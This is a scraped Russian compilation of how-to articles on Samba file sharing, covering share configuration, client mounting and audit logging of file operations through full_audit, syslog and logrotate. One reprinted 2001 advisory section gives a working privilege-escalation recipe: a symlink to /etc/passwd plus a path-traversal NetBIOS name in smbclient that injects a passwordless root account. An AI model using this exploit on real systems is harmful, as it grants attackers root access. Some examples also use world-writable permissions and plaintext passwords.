Логирование операций с файлами в samba

Samba: настройка файлового обмена между Windows и Linux

Samba – реализация сетевых протоколов Server Message Block (SMB) и Common Internet File System (CIFS). Основное предназначение – расшаривание файлов и принтеров между Linux и Windows системами.

Samba состоит из нескольких демонов, работающих в фоновом режиме и предоставляющих сервисы и ряд инструментов командной строки для взаимодействия со службами Windows:

  • smbd – демон, являющийся SMB-сервером файловых служб и служб печати;
  • nmbd – демон, предоставляющий службы имен NetBIOS;
  • smblient – утилита предоставляет доступ из командной строки к ресурсам SMB. Она также позволяет получить списки общих ресурсов на удаленных серверах и просматривать сетевое окружение;
  • smb.conf – конфигурационный файл, содержащий настройки для всех инструментов Samba;

Список портов, используемых Samba

Порт ПротоколСлужбаДемонОписание
137 UDP netbios-ns nmbd служба имен NetBIOS
138 UDP netbios-dgm nmbd служба датаграмм NetBIOS
139 TCP netbios-ssn smbd NetBIOS over TCP (служба сеансов)
445 TCP microsoft-ds smbd NetBIOS over TCP (служба сеансов)

Вводная статья про основные принципы расшаривания файлов и принтеров.

Установка и настройка сервера

# под Arch Linux, сервер
yaourt -S samba # под Arch Linux, клиент
yaourt -S smbclient # под Ubuntu, сервер
sudo apt-get install samba samba-common system-config-samba

Скопируем файл с настройками smb.conf

sudo cp /etc/samba/smb.conf.default /etc/samba/smb.conf

По умолчанию создаются ресурсы для домашних каталогов пользователей (раздел homes в smb.conf) и принтеров (раздел printers).

Доступ к ресурсу может быть по паролю или анонимный. Для первого способа есть пара моментов:

  1. пользователь должен существовать в системе (создан с помощью команды adduser username и установлен пароль passwd username);
  2. пользователь должен быть добавлен как пользователь Samba (с помощью команды sudo smbpasswd -a username);

Просмотр пользователей

sudo pdbedit -L -v

Необходимо что-бы компьютеры принадлежали к одной рабочей группе, в Windows по умолчанию это WORKGROUP, вот её и будем использовать.

Ниже приведен пример простого файла smb.conf с настройками для анонимного доступа к директории /srv/samba/public.

sudo mkdir -p /srv/samba/public
sudo chmod -R 0777 /srv/samba/public

Имена параметров не чувствительны к регистру. Для некоторых распространенных параметров существуют синонимы, а для некоторых – антонимы. Например, writable и writeable – это синонимы, а read only – антоним для них, т.е. опция read only = yes эквивалентна опции writable = no.

[global]
workgroup = WORKGROUP
server string = Samba Server
log file = /var/log/samba/%m.log
max log size = 50
security = user
map to guest = Bad User dns proxy = no # следовать по симлинкам
unix extensions = no
wide links = yes
follow symlinks = yes # utf кодировка
dos charset = cp866
unix charset = UTF8 # отключаем принтеры
load printers = no
show add printer wizard = no
printcap name = /dev/null
disable spoolss = yes # hosts allow = 127. 192.168.24. # по умолчанию все файлы, начинающиеся с точки будут иметь атрибут “скрытый”
hide dot files = yes [public]
comment = public folder
path = /home/proft/public
read only = no
locking = no
browsable = yes # разрешить гостевой доступ
guest ok = yes
force user = nobody force group = nobody
# guest only = yes
# create mode = 0777
# directory mode = 0777 # разрешить доступ только user1, user2
# valid users = user1, user2

Проверим корректность настроек с помощью команды testparm

testparm -s

Опция -v указывает testparm выводить также значения по умолчанию.

Запустим Samba-сервер

# под Arch Linux
sudo systemctl start smbd # под Ubuntu, сервер
sudo service start smbd

Проверим подключению к Samba на порт 139 с помощью telnet

telnet 192.168.24.100 139

В Samba имеется ряд параметров, связанных с аутентификацией пользователей. Наиболее важным из них является параметр security, который может принимать пять различных значений источник:

  • share – этот режим безопасности эмулирует метод аутентификации, используемый операционными системами Windows 9x/Windows Me. В этом режиме имена пользователей игнорируются, а пароли назначаются общим ресурсам. В этом режиме Samba пытается использовать предоставленный клиентом пароль, которым могут пользоваться разные пользователи.
  • user* – этот режим безопасности установлен по умолчанию и использует для аутентификации имя пользователя и пароль, как это обычно делается в Linux. В большинстве случаев в современных операционных системах пароли хранятся в зашифрованной базе данных, которую использует только Samba.
  • server – этот режим безопасности используется тогда, когда необходимо, чтобы Samba выполняла аутентификацию, обращаясь к другому серверу. Для клиентов этот режим выглядит так же, как аутентификация на уровне пользователя (режим user), но фактически для выполнения аутентификации Samba обращается к серверу, указанному в параметре password server.
  • domain – используя этот режим безопасности, вы можете полностью присоединиться к домену Windows; для клиентов это выглядит так же, как аутентификация на уровне пользователя. В отличие от аутентификации на уровне сервера, доменная аутентификация использует более защищенный обмен паролями на уровне домена. Для полного присоединения к домену требуется выполнить дополнительные команды в системе Samba и, возможно, на контроллере домена.
  • ads – этот режим безопасности похож на метод аутентификации в домене, но требует наличия контроллера домена Active Directory Domain Services.

Полный список параметров Samba есть в manpages.

Выше был приведен пример с доступом для директории с общим доступом. Рассмотрим еще пример с приватной директорией, к которой доступ только по логину и паролю.

Создадим группу и добавим в нее пользователя

sudo groupadd smbgrp
sudo usermod -a -G smbgrp proft

Создадим директорию для пользователя и установим права

sudo mkdir -p /srv/samba/proft
sudo chown -R proft:smbgrp /srv/samba/proft
sudo chmod -R 0770 /srv/samba/proft

Создадим samba-пользователя

sudo smbpasswd -a proft

Добавим в /etc/samba/smb.conf новый ресурс

[proft]
path = /srv/samba/proft
valid users = @smbgrp
guest ok = no
writable = yes
browsable = yes

Перезапустим сервер

sudo systemctl restart smbd

Пример настройки ресурса в котором есть симлинк на папку пользователя (/srv/samba/media/video » /home/proft/video)

[media]
path = /srv/samba/media
guest ok = yes
read only = yes
browsable = yes
force user = proft

Настройка клиента

Просмотр общих ресурсов компьютера

smbclient -L 192.168.24.101 -U%

Еще один способ подключения для анонимного пользователя с командной строкой

smbclient -U nobody //192.168.24.101/public
ls

Если на сервере настроен более высокий уровень безопасности, то может потребоваться передать имя пользователя или домена с помощью параметров -W и -U соответственно.

smbclient -L 192.168.24.101 -U proft -W WORKGROUP

Монтирование samba-ресурса

# создание точки монтирования
mkdir -p ~/shares/public # монтирование ресурса
# для анонимного пользователя nobody
mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=nobody,password=,workgroup=WORKGROUP,ip=192.168.24.101,utf8 # для пользователя proft
mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=proft,password=1,workgroup=WORKGROUP,ip=192.168.24.101,utf8

Еще лучше пароли хранить в отдельном файле

# sudo vim /etc/samba/sambacreds username=proft
password=1 username=noboy
password=

Выставим права доступа 0600

sudo chmod 0600 /etc/samba/sambacreds

Новая строка для монтирования

mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=proft,,credentials=/etc/samba/sambacreds,workgroup=WORKGROUP,ip=192.168.24.101

И пример для /etc/fstab

//192.168.24.101/public /home/proft/shares/public cifs noauto,username=proft,credentials=/etc/samba/sambacreds,workgroup=WORKGROUP,ip=192.168.24.101 0 0

Открыть ресурс в файловом менеджере Nautilus/Nemo/etc можно по такому пути smb://192.268.24.101.

Если Nemo пишет Nemo cannot handle “smb” locations. значит не хватает пакета gvfs-smb.

Доступ к серверу с Windows и Android клиента

Под Windows узнать рабочую группу с консоли можно с помощью

net config workstation

Открыть ресурсы на удаленной машине можно набрав в строке Explorer (Проводник) или в Run (Start – Run) UNC-адрес: 192.168.24.101.

Под Android подключится к серверу можно с помощью ES File Explorer, на вкладке Network добавляем сервер, просто по IP (без указания схемы, smb). После чего можно открывать расшаренные ресурсы. Для статистики: HDRIP-фильм идет без подтормаживания.

Дополнительное чтиво

Источник: https://proft.me/2013/09/1/samba-nastrojka-fajlovogo-obmena-mezhdu-windows-i-/

Samba – корзина+расширенные логи

http://www.opennet.ru/base/net/samba_tune_auth.txt.

html Вместе с Samba поставляется ряд так называемых “VFS-модулей” (Virtual File System), с их помощью становится возможным выполнение таких действий как протоколирование процесса работы на сетевых папках, организация сетевой корзины, теневое копирование (shadow copy) данных, подключение антивирусных модулей и т.п. В частности, для протоколирования действий пользователей в Samba имеется три VFS-модуля: audit, extd_audit, full_audit. Для поставленной нами задачи мы будем использовать последний из них. У данного модуля, впрочем как и у других, есть ряд параметров, с помощью которых производится его конфигурирование и настройка. Указание параметров производится в следующем виде:

имя_модуля:параметр1 имя_модуля:параметр2=значение1

имя_модуля:параметр3=значение2 значение3 значение4

Все настройки производятся в главном конфигурационном фале Samba –

smb.conf. Полный список параметров можно, вернее даже лучше

всего, посмотреть в исходном коде модуля, который находится в директории samba-3.0.23d/source/vfs. Давайте построчно рассмотрим вышеприведенный конфиг:


vfs objects = full_audit

Подключает использование данного модуля при работе с указанной сетевой папкой


full_audit:prefix= %m|%U

Задает возможность с помощью макропеременных Samba подставлять нужные значения в качестве источника события на сетевой папке при протоколировании действий.

В нашем случае в качестве источника будет производится подстановка вида NetBIOS_имя_комьютера|имя_пользователя и в log-файл будет записываться что-то вроде: Mar 5 08:47:51 calypso smbd_audit: comp1|username|mkdir|ok|/mnt/hdd1/new folder

full_audit:success=write rename unlink mkdir rmdir

full_audit:failure=write rename unlink mkdir rmdir

Модуль протоколирует действия которые завершились успешно – параметр success и закончились неудачей – failure соответственно.

Как, наверное уже понятно, для данной сетевой папки мы будем фиксировать как “успех” так и “неудачу” создания, переименования и удаления файлов и директорий.

Если же, например, нужно протоколировать ВСЕ неудачные действия на шаре то параметр full_audit:failure нужно не указывать и по умолчанию он будет фиксировать все “неудачи”.

full_audit:facility=LOCAL5
full_audit:priority=INFO

Здесь мы остановимся немного подробнее. Samba умеет вести журналы как самостоятельно так и с помощью системы Syslog. Для подробного протоколирования действий пользователей второй вариант является более предпочтительным, так как с его помощью можно более гибко настроить журналирование.

Читайте также:  Как настроить микротик routerboard rb951g-2hnd

Данная гибкость, в частности, позволит нам вести протоколы работы с каждой сетевой папкой в отдельный файл. Для определения источника журналируемых записей Syslog имеет такие понятия как “категория” – facility и “приоритет” – priority.

Категория – это ряд предописанных значений, событий, вроде сообщений о регистрации пользователей, сообщений от системного планировщика, ядра, почтовой системы и т.п.

Применительно к нашей задаче имеются зарезервированные категории local0 – local7, которые не привязаны ни к какому системному событию и могут быть свободно использованы администратором. Понятие “приоритет” означает уровень важности поступаемых сообщений.

Имеется 8 уровней приоритета: debug, info, warning, notice, warning, err, crit, alert, emerg. Нам необходимо настроить протоколирование таким образом, чтобы протоколы с сетевых папок велись в отдельные файлы: каждая “шара” – в свой файл журнала. Вот здесь нам на помощь и приходят вышеописанные уровни приоритета.

Мы каждой системной папке присвоим свой уникальный уровень приоритета в пределах выбранной категории, а syslog сконфигурируем таким образом, чтобы он разделял протоколы, поступающие от сетевых папок. Т.е. будут использоваться приоритеты INFO и NOTICE категории LOCAL5. Приступим к настройке syslogd.

По умолчанию во FreeBSD все сообщения класса notice перенаправляются в файл /var/log/messages. Нам сие не нужно, поэтому нужно переконфигурировать syslog дабы разделить поступаемые классы сообщений. Сделаем это следующим образом: строку *.notice … заменим на

local5.=info /var/log/samba/docs.log local5.=notice /var/log/samba/pub.log local0.notice;local1.notice;local2.notice;local3.notice /var/log/messages

local4.notice;local6.notice;local7.notice /var/log/messages

Таким образом мы выделили приоритеты info и notice категории local5 и перенаправили их в соответствующие файлы журналов и, на всякий случай, для других приложений перенаправили остальные категории local0-local7 приоритета notice в /var/log/messages Теперь очередь за настройкой сетевой корзины. За это отвечает VFS-модуль recycle. У него имеются следующие параметры:


recycle:repository=/mnt/hdd2/lost_n_found

Абсолютный путь к папке, в которую будут перемещаться удаленные на сетевой шаре файлы и директории.

recycle:exclude = *.tmp | *.TMP | ~$* | ~WRL*

Список регулярных выражений для имен файлов которые при удалении будут удаляться, а не перемещаться в корзину. Каждое выражение отделяется от соседних символом “|”. ВНИАНИЕ! Маска файла и символ “|” обязательно должны разделяться символом пробела.

recycle:excludedir = /mnt/hdd1/temp

Список директорий удаление файлов и директорий из которых не переместит их в сетевую корзину и они на самом деле будут удалены.

recycle:maxsize=104805760

Максимальный размер файла в байтах, который может помещаться в корзину, если размер больше – файл будет удален. В данном случае в корзину будут попадать файлы размером не более 10 Мб.

recycle:keeptree

При удалении файла сохранять весь файловый путь относительно сетевой папки. Т.е. например при удалении файла file.txt, находящегося по пути path/to/file относительно сетевой шары [pub] с абсолютным путем /mnt/hdd2, в сетевой корзине будет создан файловый путь/mnt/hdd2/path/to/file и в эту директорию будет помещен file.txt.

recycle:versions

При удалении одного и того же файла filename, находящегося по одному и тому же сетевому пути, в сетевой корзине будут создаваться копии файла с именами Copy #1 filename, Copy #2 filename и т.д.

Источник: http://kvashnik.blogspot.com/2010/03/samba.html

Логирование операций с файлами в Samba

Ранее я неоднократно рассказывал, как настроить файловый сервер samba для совместной работы с файлами. При совместной работе часто бывает нужно знать, кто и когда что-то сделал с тем или иным файлом, а конкретно, кто удалил файл. По-умолчанию, такой лог не ведется, нужно настраивать отдельно. Займемся настройкой логирования операций с файлами в данной статье.

Введение

У меня есть две статьи по настройке файлового сервера samba:

В обоих случаях будет не лишним настроить логирование всех обращений к файлам на сервере. Делается это штатными возможностями самой самбы. Она будет отправлять логи в syslog, а в нем мы уже настроим их хранение и ротацию с помощью logrotate. На нагруженных серверах логи будут очень объемными. Нужно обязательно позаботиться об их хранении и удалении.

Я буду настраивать логи в samba на сервере CentOS 7. В других случаях отличий почти не будет. Сами настройки самбы везде одинаковые. Syslog и Logrotate тоже примерно одинаковые во всех дистрибутивах Linux.

Включаем логирование операций в samba

Для логирования действий пользователей на файловом сервере будем использовать модуль самбы full_audit.

Если вы хотите выполнять логирование операций с файлами в один лог файл по всем доступным шарам, то добавляйте настройки аудита в глобальную секцию. Если же захотите разделить по шарам, то отдельно в каждую шару с небольшими изменениями. Я рассмотрю оба варианта.

Для начала, настроим аудит по всем шарам в один общий файл. Добавляем в /etc/samba/smb.conf в секцию [global] следующие строки:

log level = 1 vfs:1 full_audit:prefix = %u|%I|%S full_audit:success = connect, open, mkdir, rmdir, unlink, write, rename full_audit:failure = connect, open, mkdir, rmdir, unlink, write, rename full_audit:facility = local5 full_audit:priority = notice vfs objects = full_audit

Поясню каждый параметр.

full_audit:prefix В каком формате будет выводиться информация о подключении: %u — имя пользователя, %I — его ip адрес, %S — название шары.
full_audit:success Какие удачные события будут логироваться. В приведенном примере по смыслу и так понятно, о чем речь. Полный список событий такой: chdir, chflags, chmod, chmod_acl, chown, close, closedir, connect, disconnect, disk_free, fchmod, fchmod_acl, fchown, fget_nt_acl, fgetxattr, flistxattr, fremovexattr, fset_nt_acl, fsetxattr, fstat, fsync, ftruncate, get_nt_acl, get_quota, get_shadow_copy_data, getlock, getwd, getxattr, kernel_flock, link, linux_setlease, listxattr, lock, lseek, lstat, mkdir, mknod, open, opendir, pread, pwrite, read, readdir, readlink, realpath, removexattr, rename, rewinddir, rmdir, seekdir, sendfile, set_nt_acl, set_quota, setxattr, stat, statvfs, symlink, sys_acl_delete_def_file, sys_acl_get_fd, sys_acl_get_file, sys_acl_set_fd, sys_acl_set_file, telldir, unlink, utime, write.
full_audit:failure То же самое, что выше, только для ошибок.
full_audit:facility Категория событий syslog, в которую будут попадать записи.
full_audit:priority Приоритет записей для syslog. Для самбы будет достаточно приоритета notice, чем ее записи по сути и являются.

Если вы хотите настроить вывод лога доступа с разных шар в отдельные файлы, то указанные выше параметры поместите не в глобальную, а отдельно в каждую секцию с шарой, изменив категории событий, сделав их в каждой шаре уникальными, например local5 и local6. Так же нужно будет в каждую шару отдельно добавить еще один параметр:

vfs objects = full_audit

После изменения конфигурации, не забудьте перезапустить самбу. Если больше ничего не делать, то логи посещений самбы польются в стандартный поток вывода для системных логов. В Centos в /var/log/messages. Это очень неудобно, поэтому далее настроим вывод логов в отдельный файл.

Вывод лога доступа к файлам samba в отдельный файл

Нам нужно отредактировать файл конфигурации rsyslog для направления вывода лога самбы в отдельный файл. В CentOS 7 открываем файл /etc/rsyslog.conf и добавляем в самый конец такую строку:

# mcedit /etc/rsyslog.conflocal5.notice -/var/log/samba/audit.log

Этим параметром мы направили вывод логов аудита посещений в отдельный файл audit.log. Если все оставить как есть, то информация о посещениях будет писаться как в отдельный файл, так и в общий системный. Чтобы в общий не писалось, редактируем еще одну строку, добавляя туда выделенный фрагмент:

*.info;mail.none;authpriv.none;cron.none;local5.none /var/log/messages

Сохраняем файл и перезапускаем rsyslog.

# systemctl restart rsyslog

Теперь все нормально. Все логи посещений шары на samba будут складываться в отдельный файл и только туда.

Если у вас есть желание хранить логи на удаленном сервере, то воспользуйтесь моей статье на эту тему — настройка syslog-ng для удаленного сбора логов. Это сделать быстро и просто.

Зачастую это может быть оправданно и удобно, особенно с точки зрения безопасности и не только логов от самбы.

Осталось малось — настроить ротацию логов. Сделать это надо обязательно, так как файл аудита будет расти очень быстро. Здесь ничего особенного, используем logrotate. Скорее всего у вас уже есть фал конфигурации logrotate для самбы. Он создается в момент установки. Отредактируем его, добавив новые параметры.

# mcedit /etc/logrotate.d/samba/var/log/samba/audit.log { daily notifempty olddir /var/log/samba/old missingok sharedscripts copytruncate rotate 90 compress }

Я храню логи за последние 90 дней, ротацию делаю раз в день и складываю старые логи в отдельную папку. Если у вас в конфигурации есть параметр с маской, который захватывает сразу все файлы в директории /var/log/samba, например вот так:

/var/log/samba/*

То либо вынесите лог-файл с аудитом в отдельную директорию, либо измените маску.

Заключение

Я уже давно заметил один неприятный баг в самбе 4-й версии. Привожу пример того, как выглядит лог посещений файловой шары самбы с русскими названиями в именах на 3 и 4-й версии. В данном случае сначала версия 3.6.3, потом 4.6.2

В первом случае отображаются полные корректные пути. Во втором случае на события типа open идут только обрывки названий директорий, по которым не понятен полный путь. Делаю важный акцент — только на события open.

Если идут события создания, удаления, изменения, то пути уже корректны, даже если они русские. В принципе, события на доступ лично для меня обычно не важны. Интерес представляет только создание, изменение и особенно удаление файлов. С этим все в порядке.

Аудит показывает корректный лог удаления файлов. Но все равно не приятно смотреть на неинформативный лог.

Возможно, дело не в 3-1 и 4-й версии. Я не проверял различные изменения в рамках одной и той же ветки. Просто посмотрел на имеющиеся у меня сервера. Там где 3-я версия все в порядке, там где 4-я везде такой бардак в логах. Если кто-то знает, как от него избавиться, прошу поделиться.

Читайте также:  Доступ к сайту по sftp вместо обычного ftp с ограничением директории

Помогла статья? Есть возможность отблагодарить автора

Источник: https://serveradmin.ru/logirovanie-operatsiy-s-faylami-v-samba/

Samba audit или логирование работы в каталогах samba

  • Ubuntu 16.04.3 LTS
  • Samba 4.3.11
  • Какой-то недобросовестный пользователь, который часто по ошибке удаляет или меняет файлы и не признается в этом.

Решением может стать настроенный аудит для samba.

Настройки не сложные и если у вас относительно новые дистрибутив Ubuntu и Samba, то вам даже не придется перезагружать сервер (вопреки многим мануалам в сети, в которых пишут что настройки применятся только при перезагрузке)

Во первых: настраиваем саму Samba, для этого в /etc/samba/smb.conf дописываем в секцию [global] строки:

#Префикс – описание пользователя. %u – имя %I – IPадрес.full_audit:prefix = %u|%I|%S#запись об ошибках. В нашем случае – ошибки не записываем.full_audit:failure = none#запись о действиях: создать папку, удалить папку, открыть файл, …., записать файл, перезаписать файл,#…., переименовать файл, разблокировать доступ к файлу, заблокировать доступ к файлу.full_audit:success = mkdir rmdir open read pread write pwrite sendfile rename unlink lockfull_audit:facility = local5#уровень записи. Может быть debug или noticefull_audit:priority = debug

Добавлю для более детального понимания проблемы: если нужно логировать только один каталог, то вы можете указать эти параметры только для одного каталога и тогда они должны быть указаны в соответствующей секции (например [home]) описания этого каталога, а не в разделе [global]. Вы даже можете указать в префиксе имя этой секции, если таких каталогов у вас более одного

full_audit:prefix = [home] %u|%I|%S

Во вторых, чтобы лог писался не в /var/log/syslog, а в отдельный файл делаем следующее:

Чтобы исключить запись наших событий в /var/log/syslog необходимо в файле /etc/rsyslog.d/50-default.conf отредактировать строку как показано ниже

– *.*;auth,authpriv.none -/var/log/syslog+ #*.*;auth,authpriv.none -/var/log/syslog+ *.*;local5,auth,authpriv.none -/var/log/syslog

Оригинал настройки в комментарий, чтобы была возможность отката изменений.

Создайте сам файл и назначьте на него права соответствующие для доступа syslog:

touch /var/log/samba/audit.logchown syslog:adm /var/log/samba/audit.log

Далее есть 2 варианта, чтобы заставить rsyslog писать лог в нужный вам файл (для примера этот файл /var/log/samba/audit.log):

Или добавить все в том же файле /etc/rsyslog.d/50-default.conf строку

local5.debug*       /var/log/samba/audit.log

или же создать отдельный файл настройки для rsyslog:

touch /etc/rsyslog.d/00-samba-audit.confecho “local5.debug /var/log/samba/audit.log” > /etc/rsyslog.d/00-samba-audit.conf

Для красоты и компактности добавляем ротацию логов для чего в файл /etc/logrotate.d/samba добавляем строки

/var/log/samba/audit.log {         reload rsyslog > /dev/null 2>&1 || true

В третьих перегрузить настройки samba и перезапустить rsyslog

smbcontrol all reload-config

После всех проделанных настроек в файле лога /var/log/samba/audit.log должны начать появляться записи лога, конечно же после каких-либо действий в соответствующих каталогах Samba.

P.S. описан просто рабочий пример, вдаваться в подробности значений всех  настроек не вижу смысла в гугле полно данных на эту тему. Но этот рабочий минимум надо было записать, чтобы не забыть )))

Источник: http://proconfig.ru/2018/05/samba-audit-detailed-log/

Проблемы с лог файлами в SMBD – «Хакер»

Недостаточная проверка правильности параметра и опасная конфигурация, используемая по умолчанию, делают многочисленные системы, использующие Samba совместно с file sharing, уязвимыми для удаленных атак.

Из-за недостаточной проверки правильности NetBIOS имени   компьютера во входящих SMB запросах, вместе с заданной по умолчанию конфигурацией, самба daemon позволяет отдаленным нападавшим создавать SMB журналы сеанса (*.

log), с содержанием, указывающим на директории более высокого уровня. На уязвимой платформе, по умолчанию,

каждая SMB сессия создает лог файл:

/var/log/samba/.log. 

Если атакующий заходит с компьютера ‘FOOBAR’, логи будут записываться в /var/log/foobar.log. Теперь, если netbios имя атакующего будет ./../../evil, то система также создаст /evil.log файл, но уже в директории более высокого уровня, это и есть главная ошибка. Эту уязвимость возможно использовать при условии, если следующие установки присутствуют в файле

smb.conf :

log file = /var/log/samba/%m.log

которая является по умолчанию в большинстве LINUX платформ. Но на некоторых

системах конфигурация может быть такой:

log file = /usr/local/samba/var/log.%m

В этом случае (например FreeBSD), нельзя
использовать эту уязвимость.

Реализация ошибки

Это пример сценария локальной атаки для
получения повышенных привилегий:

ln -s /etc/passwd /tmp/x.log $ smbclient //NIMUE/”`perl -e ‘{print ”
toor::0:0::/:/bin/sh
“}’`”

-n ../../../tmp/x -N

Где NIMUE — соответствует имени локального хоста (при этом могут быть возвращены

несколько ошибок).

$ su toor
#

Использовать эту атаку довольно просто: — Samba daemon пытается обратиться к лог файлам для хоста, подставляющегося себя как ‘ ../../../tmp/x ‘. Это транслирует функцию open() на /var/log/samba/../../../tmp/x.log. Таким образом, файл /tmp/x.

log открыт в режиме O_APPEND, после предварительно созданного символьного линка на /etc/passwd
— все, путь свободен. Тогда, анонимная попытка устанавливает несуществующий share named «
toor::0:0::/:/bin/sh
» в «/tmp/x.

log» или, если Вы предпочитаете, в /etc/passwd.

Сообщение об ошибках смотрит этот путь:

[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X (925) Rejecting user ‘lcamtuf’: authentication failed [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214) ../../../tmp/x (192.233.133.108) couldn’t find service

toor::0:0::/:/bin/sh

последняя строка, очевидно, разрешает /bin/su
или /bin/login. 

В качестве временного решения следует изменить формат Лог файлов и дождаться официального патча:

http://us1.samba.org/samba/whatsnew/macroexploit.html

Источник: https://xakep.ru/2001/06/26/12910/

Аудит работы пользователей через сервер SAMBA

13.05.2011 – 13:27

В нашей сети в качестве файлопомойки по политике всем пользователям подключен сетевой диск “W”. Необходимо было как то контролировать действия юзеров с данным диском (открытие, создание, удаление или переименование файлов и каталогов).

В самбе уже есть для этих целей необходимый модуль “full_audit”, который умеет все выше перечисленное. В результате все необходимые данные будут записываться в файл /var/log/samba/audit.log.

Если хотим мониторить все шары, то вносим настройки аудита в секцию [global], а если только определенные, то в секцию конкретной шары. Например, редактируем конфиг самбы:

[root@fs /]# cat >> /usr/local/etc/smb.conf

…………..
# Моя шара с правами – 777.
[pub]
   comment = Доступ на чтение/запись разрешена всем
   path = /mnt/ad1/
   veto files = /*.avi/*.mp3/*.mkv/*.wav/*.wma/*.fly/*.mpg/*.mpeg/*.vob/*.3gp/*.exe/*.reg/*.src/*.pif/*.cmd/*.bat/*.inf/*.ini/*.com/*.dll/
   delete veto files = yes    browseable = no

   writable = yes

   guest ok = yes
# Подключаем модуль “full_audit”.    vfs object = full_audit

# Уровни логирования:

# 0 – создание -удаление директорий и удаление файлов
# 1 открытие директорий, переименование файлов, изменение прав/списков_доступа ,
# 2 открытие и закрытие файлов
# 10 максимальный уровень.
   log level = 1 vfs:1
   syslog = 7
# Может принимать любые значения из набора: %u, %I, %U, %m, %s, %S, %a, %h, %H.
   full_audit:prefix = %u|%I
   full_audit:success = connect, open, mkdir, rmdir, unlink, write, rename, pwrite    full_audit:failure = none    full_audit:facility = local5

   full_audit:priority = notice

Передергиваем демон самбы:

[root@fs /usr/local/etc/rc.d]# ./samba reload

Теперь в /var/log/messages, будет сыпаться лог. Вот такого вида:

May 13 19:11:05 fs smbd[84930]: nobody|192.168.31.25|mkdir|ok|lymar
May 13 19:11:26 fs smbd[84930]: nobody|192.168.31.

25|mkdir|ok|lymar/ASU
May 13 19:11:36 fs smbd[84930]: nobody|192.168.31.25|rename|ok|lymar/ASU|lymar/Asu-1
May 13 19:11:37 fs smbd[83898]: nobody|192.168.39.

94|connect|ok|pub
May 13 19:12:07 fs smbd[84930]: nobody|192.168.31.25|rmdir|ok|lymar/Asu-1

Теперь необходимо все это складывать в отдельный файл /var/log/audit.log. Для этого необходимо подправить /etc/syslog.conf:

[root@fs /etc]# cat /etc/syslog.conf | grep local5
#добавляем local5.
*.notice;local5,authpriv.none;kern.debug;lpr.info;mail.crit;news.err    /var/log/messages
!*
local5.notice                                   /var/log/audit.log

Делаем суслогу рестарт:

[root@fs /etc/rc.d]# ./syslogd restart

Теперь логи у нас будут складываться тут /var/log/audit.log.

Источник: http://www.unix.ck.ua/content/audit-raboty-polzovatelei-cherez-server-samba-0

Настройка Samba

Тема данной статьи, на сегодняшний день, является довольно хорошо освещенной. Настолько хорошо, что до недавнего времени я даже не думал писать сей документ. Однако, мой личный опыт показывает, что самым распространенным видом серверов является файл-сервер.

Соответственно, большинство вопросов у начинающих линуксоидов возникает по настройке samba, на основе которой и строится последний. Я попытаюсь разъяснить некоторые моменты касательно начальной настройки samba. Касаться всех возможных опций я не буду, по причине огромного их количества. В конце концов, все они очень хорошо описаны в документации, прилагаемой к программному пакету.

Также не буду я касаться настройки сервера печати. Так как заниматься настройкой такого сервера мне пока не приходилось..

Вся настройка сводится к редактированию конфигурационного файла по адресу /etc/samba/smb.conf либо /etc/smb.conf или /etc/smb/smb.conf(зависит от версии дистрибутива).

Сразу оговорюсь, что использование Samba не ограничивается только созданием файлового сервера. С помощью Samba можно сканировать удаленные ресурсы а также монтировать их. Но об этом немного позже.

Рассматриваться будет Samba версий 2.* и 3.*. С точки зрения настройки, различие в версиях не большое. Такие места я оговорю в ходе описания настройки.

Давайте рассмотрим типичный файл smb.conf.

Любая строка, которая начинается с ; или # является комментарием и будет проигнорирована.

[править] =================Глобальные настройки=================

[global]

  1. workgroup = NT-Domain- or Workgroup- Здесь описывается имя рабочей группы или # имя вашей рабочей группы

workgroup =

  1. Описание вашей машины (при просмотре сетевого окружения, стоит после имени машины)

server string = File-server

  1. Имя вашей машины в сети. Иногда отсутствует. Если не пишем – имя будет взято из вывода команды hostname.
  2. Если нужно – дописывайте эту строку самостоятельно. Для чего это вам и нужно ли вообще – решайте сами.

netbios name = Server

  1. Дополнительное имя вашей машины в сети. То-есть в сети появиться еще одна машина с аналогичным содержимым.
  2. Для чего это вам и нужно ли вообще – решайте сами.

netbios aliases = AliasServer

  1. Ограничение на присутствие вашей машины в подсетях. Или из какой подсети вы будете
  2. доступны. Если вы хотите разрешить несколько подсетей пропишите их через пробел. Допускается написание имени интерфейса.
  3. Из соображений безопасности настоятельно не рекомендуется включать доступ извне вашей сети.
Читайте также:  Установка и настройка zabbix 4.0

hosts allow = 10.10.20. 127.0.0. eth1

  1. Автоматическая загрузка списка принтеров

printcap = /etc/printcap

load printers = yes

  1. Схема печати. Я не пробовал.
  2. bsd, sysv, plp, lprng, aix, hpux, qnx

printing = lprng

  1. Имя гостевого входа (чаще всего, по умолчанию “nobody”). Другими
  2. словами можно ли получить доступ к вашим сетевым ресурсам не имея учетной
  3. записи на вашей машине. Но помните, такой пользователь в вашей системе должен существовать
  4. (если вы отрываете эту опцию), иначе ничего не выйдет. #Обратите внимание, описывается именно Linux-пользователь. Samba имеет свой список пользователей, но об этом позже.

guest account = nobody

  1. Куда писать сообщения о ошибках. При ошибках в работе samba настоятельно рекомендую почитать.
  2. Создается как общий лог работы samba и netbios так и логи отдельных пользователей.

log file = /var/log/samba/%m.log

  1. Максимальный размер этого файла (в Kb). Если не хотите ограничивать – 0

max log size = 500

  1. Уровень доступа. Обычно стоит на уровне пользователя (security = user). В случае
  2. security=share в скрытой форме используется механизм аутентификации на основе имени и
  3. пароля. Если база паролей хранится на другом SMB-сервере, то используется значение
  4. securety=server и password server=имя NT-сервера. Если сервер является членом домена, то
  5. используется securety=domain, и самба-машина зачисляется в домен с паролем, указанном в
  6. smb passwd file. Последнее не пробовал.

security = user

; password server =

  1. Если мы проставим security=share у нас появиться возможность более гибко #конфигурировать вход пользователей. Для этого нам необходимо добавить параметр

map user = bad user

  1. возможны варианты:
  2. map user = never – не использовать (по умолчанию стоит эта опция)
  3. map user = bad user – Если пользователь не угадал пользователя – вход как guest
  4. map user = bad password – даже если пользователь не угадает пароль вход будет разрешен.

  1. Минимальный допустимый размер имени пользователя и его пароля.

; password level = 8; user level = 8

  1. Использовать ли шифрование паролей и где храниться файл с паролями.

encrypt passwords = yes

smb passwd file = /etc/samba/smbpasswd

  1. По мануалу, вроде, синхронизация с UNIX-базой паролей. Не пробовал.

; unix password sync = Yes

; passwd program = /usr/bin/passwd %u

; passwd chat = *New*UNIX*password* %n
